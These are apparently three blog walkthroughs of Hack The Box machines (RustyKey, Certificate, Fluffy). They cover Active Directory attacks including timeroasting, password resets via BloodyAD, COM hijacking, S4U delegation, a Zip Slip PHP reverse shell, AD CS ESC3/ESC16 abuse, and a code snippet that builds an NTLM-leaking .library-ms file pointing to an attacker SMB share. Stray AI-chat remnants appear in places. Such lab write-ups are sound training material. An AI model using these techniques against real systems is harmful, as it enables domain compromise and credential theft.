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Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity

βœ‡Threatninja.net
By: darknite
8 November 2025 at 09:58
Reading Time: 11 minutes

Introduction to RustyKey:

In this writeup, we will explore the β€œRustyKey” machine from Hack The Box, categorized as an Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œRustyKey” machine from Hack The Box by achieving the following objectives:

User Flag:

Authenticated to the domain as bb.morgan (password P@ssw0rd123) after exploiting Kerberos flows and time sync. You obtained a Kerberos TGT (bb.morgan.ccache), exported it via KRB5CCNAME, and used evil‑winrm to open an interactive shell on dc.rustykey.htb.

Root Flag:

Escalation to SYSTEM was achieved by abusing machine and delegation privileges. Using the IT‑COMPUTER3$ machine account you modified AD protections and reset ee.reed’s password, then performed S4U2Self/S4U2Proxy to impersonate backupadmin and saved backupadmin.ccache. With that ticket, you used Impacket to upload and run a service payload and spawned a SYSTEM shell.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV 10.10.11.75 -oA initial

Nmap Output: 

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Analysis:

  • 53/tcp (DNS – Simple DNS Plus): DNS service is running, likely handling domain name resolution for the internal Active Directory environment.
  • 88/tcp (Kerberos-sec): Kerberos authentication service for Active Directory domain rustykey.htb0. Useful for ticket-based authentication attacks such as AS-REP roasting or Kerberoasting.
  • 135/tcp (MSRPC): Microsoft RPC endpoint mapper. Commonly used for remote management and DCOM-based communication.
  • 139/tcp (NetBIOS-SSN): NetBIOS session service β€” supports SMB over NetBIOS; can reveal shares or host information.
  • 389/tcp (LDAP): Lightweight Directory Access Protocol for Active Directory. Likely allows domain information queries; potential for anonymous LDAP enumeration.
  • 445/tcp (Microsoft-DS): SMB over TCP for file sharing and remote service operations; often used for lateral movement or enumeration (e.g., SMB shares, users, policies).
  • 464/tcp (kpasswd5): Kerberos password change service; might be used for password reset operations.
  • 593/tcp (ncacn_http): Microsoft RPC over HTTP β€” commonly used for Outlook Anywhere and DCOM-based communication.
  • 636/tcp (LDAPS): LDAP over SSL/TLS; encrypted directory service communications.
  • 3268/tcp (Global Catalog – LDAP): LDAP global catalog port for multi-domain queries in Active Directory.
  • 3269/tcp (Global Catalog over SSL): Secure LDAP global catalog service.

Server Enumeration:

Before starting, we need to specify the correct Kerberos realm by creating a krb5.conf file in /etc/krb5.conf and adding the following content above

NXC enumeration

The scans show an Active Directory host (dc.rustykey.htb) with SMB and LDAP/kerberos services; SMB on 10.10.11.75 negotiated x64, signing required, and SMBv1 disabled, while an SMB auth attempt for rr.parker returned STATUS_NOT_SUPPORTED β€” indicating the server rejected the authentication method the client used rather than definitively proving the password is wrong. The LDAP attempt shows KDC_ERR_WRONG_REALM for rustykey.htb\rr.parker, meaning the Kerberos realm in use didn’t match the domain. Likely causes include incorrect credentials, an auth-method mismatch (NTLM vs Kerberos or wrong NTLM dialect), enforced SMB signing, wrong/unspecified Kerberos realm, account restrictions (disabled/locked/password change required), or tool/quoting issues from special characters. Triage by retrying with a domain-qualified username (RUSTYKEY\rr.parker or rr.parker@RUSTYKEY), testing with alternate SMB clients (crackmapexec, smbclient, Impacket), forcing NTLM if needed, validating Kerberos realm and obtaining a TGT, performing LDAP or rpc enumeration to confirm account status, and escaping or simplifying the password to rule out encoding problems.

This time, the error returned is KRB_AP_ERR_SKEW, indicating a time synchronization issue between the client and the server.

Using nxc with Kerberos authentication (-k) and domain rustykey.htb, the SMB service on dc.rustykey.htb was successfully accessed with the credentials rr.parker:8#t5HE8L!W3A. The enumeration revealed an x64 domain controller with SMB signing enabled and SMBv1 disabled. The command listed 11 local users, including Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin, along with their last password set dates and account descriptions. This confirms that rr.parker’s credentials are valid and have sufficient access to query user accounts over SMB. The successful Kerberos-based login also verifies proper realm configuration and time synchronization, allowing secure enumeration of domain users.

Using Kerberos authentication (-k) with the domain rustykey.htb, LDAP enumeration on dc.rustykey.htb successfully authenticated as rr.parker:8#t5HE8L!W3A. The scan enumerated 11 domain users, showing usernames, last password set dates, and account descriptions. Accounts include Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin. This confirms rr.parker’s credentials are valid and have permission to query domain user information over LDAP. The domain controller responded correctly to Kerberos authentication, indicating proper realm configuration and time synchronization.

Impacket successfully requested a TGT from DC 10.10.11.75 for rustykey.htb/rr.parker and saved the Kerberos ticket to rr.parker.ccache.

ChatGPT said:

Set the Kerberos credential cache by exporting KRB5CCNAME=rr.parker.ccache so Kerberos-aware tools use the saved TGT for authentication.

This directs commands like klist, curl –negotiate, and Impacket utilities to the specified ccache.

Bloodhound enumeration

The DNS timeout indicates that the BloodHound collector couldn’t resolve SRV records or reach the domain controller’s DNS. This often happens due to incorrect DNS settings on your Parrot OS machine, firewall restrictions, or reliance on SRV lookups instead of a direct DC IP.

Synchronizing the clock with ntpdate -s 10.10.11.75 resolved the issue. Kerberos authentication requires the client and domain controller clocks to be closely aligned, and a time drift triggers KRB_AP_ERR_SKEW errors. After syncing, the Kerberos TGT became valid, allowing BloodHound to authenticate and enumerate the domain successfully. You can verify the ticket with klist and rerun BloodHound using -k or your ccache. For a persistent solution, consider running a time service like chrony or ntpd, or continue using ntpdate during the engagement.

IT‑COMPUTER3$ added itself to the HelpDesk group.

Execute timeroast.py.

Because the machine requires Kerberos authentication, enumeration attempts return no results. In addition to AS-REP roasting and Kerberoasting, a new technique called timeroast has recently emerged.

The screenshot above shows the hash as clean.

Hashcat was unable to crack the hash.

The main() function sets up and runs the script: it creates an argument parser with two positional inputs (the timeroast hashes file and a password dictionary opened with latin-1 encoding), parses those arguments, then calls try_crack to iterate through dictionary candidates and compare them to the parsed hashes. For each match it prints a β€œ[+] Cracked RID …” line and increments a counter, and when finished it prints a summary of how many passwords were recovered. The if __name__ == '__main__' guard ensures main() runs only when the script is executed directly.

Running python3 timecrack.py timeroast.txt rockyou.txt recovered one credential: RID 1125 β€” password Rusty88!. Total passwords recovered: 1.

Impacket requested a TGT for the machine account IT-COMPUTER3$ on rustykey.htb and saved the Kerberos ticket to IT-COMPUTER3$.ccache. The Kerberos credential cache was set to IT-COMPUTER3$.ccache by exporting KRB5CCNAME=IT-COMPUTER3\$.ccache, directing Kerberos-aware tools to use this saved TGT for authentication.

Using BloodHound with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, and ran add groupMember HELPDESK IT-COMPUTER3$ β€” the account IT-COMPUTER3$ was successfully added to the HELPDESK group.

Using BloodyAD with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, ran set password for bb.morgan to P@ssw0rd123, and the password was changed successfully.

Impacket attempted to request a TGT for bb.morgan@rustykey.htb, but the KDC rejected it with KDC_ERR_ETYPE_NOSUPP, meaning the Key Distribution Centre does not support the encryption type used.

If you need that permission, remove the protection first β€” bb.morgan.

Ran BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ to remove the account IT from the PROTECTED OBJECTS group, and the tool reported that IT was removed. Using BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ I changed bb.morgan’s password to P@ssw0rd123. I then requested a TGT for bb.morgan with impacket-getTGT and saved the ticket to bb.morgan.ccache

Set KRB5CCNAME to bb.morgan.ccache so Kerberos-aware tools use that credential cache.

If evil-winrm failed, common causes are WinRM not reachable, wrong auth method, or account restrictions. First check connectivity and service: nc -vz 10.10.11.75 5985 (and 5986). Test the WinRM endpoint with curl to see auth behavior:
curl --negotiate -u 'bb.morgan:P@ssw0rd123' http://10.10.11.75:5985/wsman
If you’re using Kerberos, ensure KRB5CCNAME points to the bb.morgan ccache and run evil-winrm with Kerberos (use the tool’s Kerberos flag). If password auth, try: evil-winrm -i 10.10.11.75 -u bb.morgan -p 'P@ssw0rd123'. If that still fails, try an alternate Impacket client (wmiexec.py, psexec.py) to rule out evil-winrm-specific issues. Also verify the account isn’t restricted (must-change-password, disabled, or requires smartcard) and that SMB/WinRM signing/policy isn’t blocking the session. Tell me the exact error if you want targeted troubleshooting.

After synchronising the system clock with rdate, evil-winrm successfully established a session to dc.rustykey.htb using the bb.morgan account in the rustykey.htb domain.

To view the user flag, run type user.txt at the command prompt.

Escalate to Root Privileges Access

Privilege Escalation:

One PDF file stood out and drew my attention.

Download the PDF to our machine.

The message appears to be from bb.morgan to support-team@rustykey.htb, stating the support team will receive elevated registry permissions and temporary elevated rights.
Reviewing BloodHound shows ee.reed is a member of the support-team@rustykey.htb group.

Using the IT‑COMPUTER3$ machine account you removed SUPPORT from the Protected Objects container and reset ee.reed’s password to P@ssword123 β€” actions that demonstrate domain‑level privilege to alter AD protections and control user accounts. With ee.reed’s credentials you can obtain a TGT, export a ccache, and authenticate to domain services (SMB/WinRM/LDAP) to escalate access and pivot further.

This indicates that the SUPPORT group has modify permissions on the registry and can interact with compression and decompression functions.

Requested a TGT for ee.reed@rustykey.htb from DC 10.10.11.75 and saved the Kerberos ticket to ee.reed.ccache.

Evil‑winrm failed to establish a session using ee.reed’s access.

Let’s start the listener.

Upload runascs.exe

Attempt to execute the payload.

Access obtained as ee.reed.

Oddly, the victim machine has 7‑Zip installed.

It’s 7‑Zip version 24.08.

The command reg query "HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers" queries the Windows Registry to list all entries under the ContextMenuHandlers key for all file types (*) in the HKEY_LOCAL_MACHINE\Software\Classes hive.

Query the registry key HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip.

Display the registry key HKLM\SOFTWARE\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}.

Query the registry key HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32.

This PowerShell command retrieves and displays the detailed access permissions (ACL) for the 7-Zip COM object CLSID registry key (HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}), showing which users or groups can read, modify, or take ownership of the key in a clear, list format.

Download the DLL file onto the target machine.

Add or update the default value of HKLM\Software\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}\InprocServer32 to C:\tmp\dark.dll using reg add with the force flag.

Executing rundll32.exe dark.dll, dllmain produces no visible effect.

Obtained a shell as the user mm.turner.

It shows that the SUPPORT group has registry modify permissions and can access compression and decompression functionalities.

Initially, this PowerShell command failed to configure the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property.

This PowerShell command configures the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property, effectively granting that machine account the ability to act on behalf of other accounts for specific services.

Ran Impacket getST for SPN cifs/DC.rustykey.htb while impersonating backupadmin (DC 10.10.11.75) using rustykey.htb/IT-COMPUTER3$:Rusty88!. No existing ccache was found so a TGT was requested, the tool performed S4U2Self and S4U2Proxy flows to impersonate backupadmin, and saved the resulting ticket as backupadmin.ccache. Deprecation warnings about UTC handling were also printed.

Export the Kerberos ticket to a ccache file, then use Impacket’s secretdump to extract the account hashes.

Using the backupadmin Kerberos ticket (no password), Impacket connected to dc.rustykey.htb, discovered a writable ADMIN$ share, uploaded rFPLWAqZ.exe, created and started a service named BqCY, and spawned a shell β€” whoami returned NT AUTHORITY\SYSTEM.

To view the root flag, run type root.txt at the command prompt.

The post Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Hack The Box: Certificate Machine Walkthrough – Hard Difficulty

βœ‡Threatninja.net
By: darknite
4 October 2025 at 10:58
Reading Time: 12 minutes

Introduction to Certificate:

In this write-up, we will explore the β€œCertificate” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œCertificate” machine from Hack The Box by achieving the following objectives:

User Flag:

We found a login account (lion.sk) by analyzing network traffic and files, then cracked a captured password hash to get the password. Using that password we remotely logged into the machine as lion.sk and opened the desktop to read the user.txt file, which contained the user flag.

Root Flag:

To get full control (root), we abused the machine’s certificate system that issues digital ID cards. By requesting and extracting certificate material and using a small trick to handle the server’s clock, we converted those certificate files into administrative credentials. With those elevated credentials we accessed the system as an admin and read the root.txt file for the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.71

Nmap Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/certificate]
└──╼ $nmap -sC -sV -oA initial 10.10.11.71 
# Nmap 7.94SVN scan initiated Tue Sep 30 21:48:51 2025 as: nmap -sC -sV -oA initial 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-01 03:49:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T03:50:56+00:00; +2h00m32s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54

445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h00m30s, deviation: 2s, median: 2h00m30s
| smb2-security-mode: 3:1:1: Message signing enabled and required
| smb2-time: date: 2025-10-01T03:50:14

Analysis:

  • 53/tcp β€” DNS (Simple DNS Plus): name resolution and potential zone/host enumeration.
  • 80/tcp β€” HTTP (Apache/PHP): web app surface for discovery, uploads, and common web vulnerabilities.
  • 88/tcp β€” Kerberos: AD authentication service; useful for ticket attacks and Kerberos enumeration.
  • 135/tcp β€” MSRPC: RPC endpoint for Windows services (potential remote service interfaces).
  • 139/tcp β€” NetBIOS-SSN: legacy SMB session service β€” useful for NetBIOS/SMB discovery.
  • 389/tcp β€” LDAP: Active Directory directory service (user/group enumeration and queries).
  • 445/tcp β€” SMB (Microsoft-DS): file shares and SMB-based lateral movement/credential theft.
  • 464/tcp β€” kpasswd (Kerberos password change): Kerberos password change service.
  • 593/tcp β€” RPC over HTTP: RPC tunneled over HTTP β€” can expose various Windows RPC services.
  • 636/tcp β€” LDAPS: Secure LDAP over TLS β€” AD queries and certificate info via encrypted channel.
  • 3268/tcp β€” Global Catalog (LDAP): AD global catalog queries across the forest (fast user/group lookup).
  • 3269/tcp β€” Global Catalog over TLS: Encrypted global catalog queries for secure AD enumeration.

Web Enumeration:

The website’s interface initially appears conventional.

The Account tab contains options for logging in and registering.

Let’s create a new account here.

You can register in the same way as shown above.

The registration was successful.

Therefore, let’s log in using the credentials we created earlier.

Successful access will display an interface similar to the one shown above.

Clicking the course tab displays the interface shown above.

As a result, let’s enrol in the course.

There are many sessions, but the quiz is what caught my attention at the moment.

There is an upload button available in the quizz section.

We are required to upload a report in PDF, DOCX, PPTX, or XLSX format.

After a while, I uploaded a form.pdf file that contained empty content.

Once the file is successfully uploaded, we need to click the β€œHERE” link to verify that it has been uploaded into the system.

It worked like a charm.

Exploiting Zip Slip: From Archive to Remote Code Execution

Zip Slip is a critical arbitrary file overwrite vulnerability that can often lead to remote command execution. The flaw impacts thousands of projects, including those from major vendors such as HP, Amazon, Apache, and Pivotal. While this type of vulnerability has existed previously, its prevalence has recently expanded significantly across a wide range of projects and libraries.

Let’s implement a PHP reverse shell to establish a reverse connection back to our host.

Compress the PDF into dark.zip and upload it as a standard archive file.

We also compress the test directory, which includes exploit.php, into a ZIP archive.

Combine the two ZIP archives into a single ZIP file for upload as part of an authorized security assessment in an isolated testing environment.

Initiate the listener.

Upload the shell.zip file to the designated test environment within the authorized, isolated assessment scope.

Access the specified URL within the isolated test environment to observe the application’s behavior.

After a short interval, the connection was reestablished.

Among numerous users, the account xamppuser stood out.

Consequently, inspect the certificate.htb directory located under /xampp/htdocs.

I discovered information indicating that we can utilise the MySQL database.

Executing the MySQL command returned no errors, which is a positive sign.

MySQL Reconnaissance and Attack Surface Mapping

As a result, we navigated to /xampp/mysql/bin, used mysql.exe to run SQL commands, and successfully located the database.

The users table drew my attention.

There is a significant amount of information associated with several users.

While scrolling down, we identified a potential user named sara.b.

The hash was collected as shown above.

All the hashes use Blowfish (OpenBSD), WoltLab Burning Board 4.x, and bcrypt algorithms.

When using Hashcat, a specific hash mode is required.

After extended processing, the password for the suspected account sara.b was recovered as Blink182.

Attempting to access the machine using Sara.B’s credentials.

Unfortunately, Sara.B’s desktop contains no files.

Bloodhound enumeration

We can proceed with further analysis using the BloodHound platform.

Sara.B Enumeration for Lateral Movement

We can observe the WS-01 directory.

There are two different file types present.

The Description.txt file reports an issue with Workstation 01 (WS-01) when accessing the Reports SMB share on DC01. Incorrect credentials correctly trigger a β€œbad credentials” error, but valid credentials cause File Explorer to freeze and crash. This suggests a misconfiguration or fault in how WS-01 handles the SMB share, potentially due to improper permissions or corrupt settings. The behavior indicates a point of interest for further investigation, as valid access attempts lead to system instability instead of normal access.

Download the pcap file to our machine for further analysis.

Wireshark analaysis

There are numerous packets available for further investigation.

Upon careful analysis of packet 917, I extracted the following Kerberos authentication hash: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0.

Alternate Certificate Forging via Python Script

Alternatively, we can use a Python script here

Save the hash to hash.txt.

The recovered password is !QAZ2wsx.

This confirms that the account lion.sk can authenticate to WinRM using the password !QAZ2wsx.

We successfully accessed the lion.sk account as expected.

Read the user flag by running the command: type user.txt.

Escalate To Root Privileges Access

Privilege Escalation:

Sara.B is listed as a member of Account Operators and has GenericAll rights over the lion.sk account. In plain terms, that means Sara.B can fully manage the lion.sk user β€” change its password, modify attributes, add it to groups, or even replace its credentials. Because Account Operators is a powerful built‑in group and GenericAll grants near‑complete control over that specific account, this is a high‑risk configuration: an attacker who compromises Sara.B (or abuses her privileges) could take over lion.sk and use it to move laterally or escalate privileges.

Synchronise the system clock with certificate.htb using ntpdate: ntpdate -s certificate.htb

ESC3 Enumeration and CA Configuration Analysis

What is ESC3 Vulnerability?

In a company, employees get digital certificatesβ€”like special ID cardsβ€”that prove who they are and what they’re allowed to do. The ESC3 vulnerability happens when certain certificates allow users to request certificates on behalf of others. This means someone with access to these certificates can pretend to be another person, even someone with higher privileges like an admin.

Because of this, an attacker could use the vulnerability to gain unauthorized access to sensitive systems or data by impersonating trusted users. It’s like being able to get a fake ID that lets you enter restricted areas.

Fixing this involves limiting who can request these certificates and carefully controlling the permissions tied to them to prevent misuse.

Using lion.sk credentials, Certipy enumerated 35 certificate templates, one CA (Certificate-LTD-CA), 12 enabled templates, and 18 issuance policies. Initial CA config retrieval via RRP failed due to a remote registry issue but succeeded on retry. Web enrollment at DC01.certificate.htb timed out, preventing verification. Certipy saved results in text and JSON formats and suggests using -debug for stack traces. Next steps: review saved outputs and confirm DC01’s network/service availability before retrying.

Certipy flagged the template as ESC3 because it contains the Certificate Request Agent EKU β€” meaning principals allowed to enrol from this template (here CERTIFICATE.HTB\Domain CRA Managers, and Enterprise Admins listed) can request certificates on behalf of other accounts. In practice, that lets those principals obtain certificates that impersonate higher‑privilege users or services (for example ,issuing a cert for a machine or a user you don’t control), enabling AD CS abuse and potential domain escalation.

Request the certificate and save it as lion.sh.pfx.

Certificate Issued to Ryan.k

Sara.B is a member of Account Operators and has GenericAll permissions on the ryan.k account β€” in simple terms, Sara.B can fully control ryan.k (reset its password, change attributes, add/remove group membership, or replace credentials). This is high risk: if Sara.B is compromised or abused, an attacker can take over ryan.k and use it for lateral movement or privilege escalation. Recommended actions: limit membership in powerful groups, remove unnecessary GenericAll delegations, and monitor/account‑change audit logs.

Certipy requested a certificate via RPC (Request ID 22) and successfully obtained a certificate for UPN ryan.k@certificate.htb; the certificate object SID is S-1-5-21-515537669-4223687196-3249690583-1117 and the certificate with its private key was saved to ryan.k.pfx.

Unfortunately, the clock skew is too large.

When using the faketime command, it behaves as expected.

With explicit permission and in a controlled environment, verify whether the extracted hash can authenticate as ryan.k for investigative purposes.

Abusable Rights: SeManageVolumePrivilege

The following privileges are enabled: SeMachineAccountPrivilege β€” Add workstations to the domain; SeChangeNotifyPrivilege β€” Bypass traverse checking; SeManageVolumePrivilege β€” Perform volume maintenance tasks; SeIncreaseWorkingSetPrivilege β€” Increase a process’s working set.

Let’s create a temporary directory.

While executing the command, we encountered the error Keyset does not exist, indicating the required cryptographic key material is missing or inaccessible.

Therefore, we need to transfer the SeManageVolumeExploit.exe file to the target machine.

It refers to entries that have been modified.

I ran icacls on Windows, and it successfully processed 1 file with 0 failures.

Finally, it worked exactly as I expected.

We can now download the ca.pfx file to our local machine

Certificate Forgery for Domain Auth (Certipy)

We can convert the ca.pfx file into admin.pfx.

Authentication failed because the clock skew is too significant.

After switching to faketime, it worked like a charm.

Read the root flag by running the command: type root.txt.

The post Hack The Box: Certificate Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Hack The Box: Fluffy Machine Walkthrough – Easy Difficulity

βœ‡Threatninja.net
By: darknite
20 September 2025 at 10:58
Reading Time: 9 minutes

Introduction to Fluffy:

In this write-up, we will explore the β€œFluffy” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Machine Information
In this scenario, similar to real-world Windows penetration tests, you begin the Fluffy machine with the following credentials: j.fleischman / J0elTHEM4n1990!.

Objective:

The goal of this walkthrough is to complete the β€œFluffy” machine from Hack The Box by achieving the following objectives:

User Flag:

Initial access was gained by exploiting CVE-2025-24071 with a malicious .library-ms file delivered via SMB. The victim’s NTLMv2-SSP hash was captured with Responder and cracked using Hashcat (mode 5600), revealing prometheusx-303. Domain enumeration with BloodHound showed p.agila@fluffy.htb had GenericAll rights over Service Accounts, enabling control of winrm_svc.

Root Flag:

We escalated privileges by abusing the ca_svc account, which is a member of Service Accounts and Cert Publishers, granting it AD CS access. Using Certipy, we identified an ESC16 vulnerability, updated ca_svc’s userPrincipalName to impersonate the administrator, generated a certificate, and obtained both a TGT and the NT hash.

Enumerating the Fluffy Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sV -sC -oA initial -Pn 10.10.11.69

Nmap Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/fluffy]
└──╼ $nmap -sV -sC -oA initial -Pn 10.10.11.69
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-18 02:49:59Z)
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-18T02:51:30+00:00; +4h17m24s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-18T02:51:30+00:00; +4h17m24s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17

Analysis:

  • 53/tcp (DNS): Handles domain name resolution; check for zone transfer misconfigurations.
  • 88/tcp (Kerberos): Confirms Active Directory; use for Kerberos user enumeration or ticket attacks.
  • 139/tcp (NetBIOS-SSN): Legacy Windows file/printer sharing; enumerate shares and sessions.
  • 389/tcp (LDAP): Queryable directory service; useful for enumerating AD users, groups, and policies.
  • 445/tcp (SMB): Provides file sharing and remote management; test for SMB enumeration and null sessions.
  • 464/tcp (kpasswd5): Kerberos password change service; abuseable in AS-REP roasting or password reset attacks.
  • 636/tcp (LDAPS): Encrypted LDAP; secure channel for directory queries, still useful for enumeration if authenticated.
  • 3269/tcp (GC over SSL): Global Catalog LDAP over SSL; enables cross-domain AD enumeration.

Samba Enumeration

We discovered the Samba share as shown above.

By using impacket-smbclient with the provided credentials, we were able to gain access as shown above.

There are several files saved inside the directory, but one file in particular caught my attention β€” Upgrade_Notice.pdf.

We proceeded to download the PDF to our local machine.

Exploitability Research

A screenshot of a computer AI-generated content may be incorrect.

The PDF outlines the upgrade process and highlights several key vulnerabilities:

  • CVE-2025-24996 (Critical): External control of file names/paths in Windows NTLM, enabling network spoofing and possible unauthorized access.
  • CVE-2025-24071 (Critical): Windows File Explorer spoofing vulnerability where crafted .library-ms files in archives trigger SMB connections, leaking NTLM hashes without user action.
  • CVE-2025-46785 (High): Buffer over-read in Zoom Workplace Apps for Windows that allows an authenticated user to trigger network-based denial of service.
  • CVE-2025-29968 (High): Improper input validation in Microsoft AD CS leading to denial of service and potential system disruption.
  • CVE-2025-21193 (Medium): CSRF-based spoofing in Active Directory Federation Services, primarily impacting confidentiality.
  • CVE-2025-3445 (Low): Path traversal in Go library mholt/archiver, allowing crafted ZIPs to write files outside intended directories, risking data overwrite or misuse.

No other significant information appeared that we could leverage in this context.

CVE-2025-24071: Windows File Explorer SMB NTLM Disclosure

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Vulnerable Code Analysis (CVE-2025-24071)

Malicious File Generation


The exploit dynamically creates an XML file with a hardcoded SMB path (\\attacker_ip\shared), which Windows automatically processes:

library_content = f"""
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip_address}\\shared</url>  <!-- Vulnerable: Triggers SMB -->
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>"""

Manual Exploitation Process

Therefore, we proceeded to exploit it using the manual method, starting with the creation of a malicious .library-ms file.

Once the malicious .library-ms file is successfully created, it needs to be compressed into a ZIP archive.

Initiate the Responder and monitor the incoming network packets for analysis.

As a result, we transferred the malicious.zip to the victim’s machine using smbclient.

We captured the NTLMv2-SSP hash and can now attempt to crack it.

Credential Recovery via Hash Cracking

The hash was successfully cracked within one minute, revealing the password: prometheusx-303.

BloodHound Active Directory Enumeration

We proceeded to enumerate the environment using BloodHound.

Analyzing BloodHound Enumeration Data

The account p.agila@fluffy.htb is a member of the Service Account Managers@fluffy.htb group, which has GenericAll permissions over the Service Accounts@fluffy.htb group. This means p.agila can fully manage members of the Service Accounts group, including adding, removing, or modifying accounts β€” a powerful privilege that can be leveraged for privilege escalation.

The accounts ldap_svc@fluffy.htb, ca_svc@fluffy.htb, and winrm_svc@fluffy.htb all belong to the service accounts@fluffy.htb group. They share similar privilege levels and likely support service-related operations, creating a common attack surface if an attacker compromises any one of them.

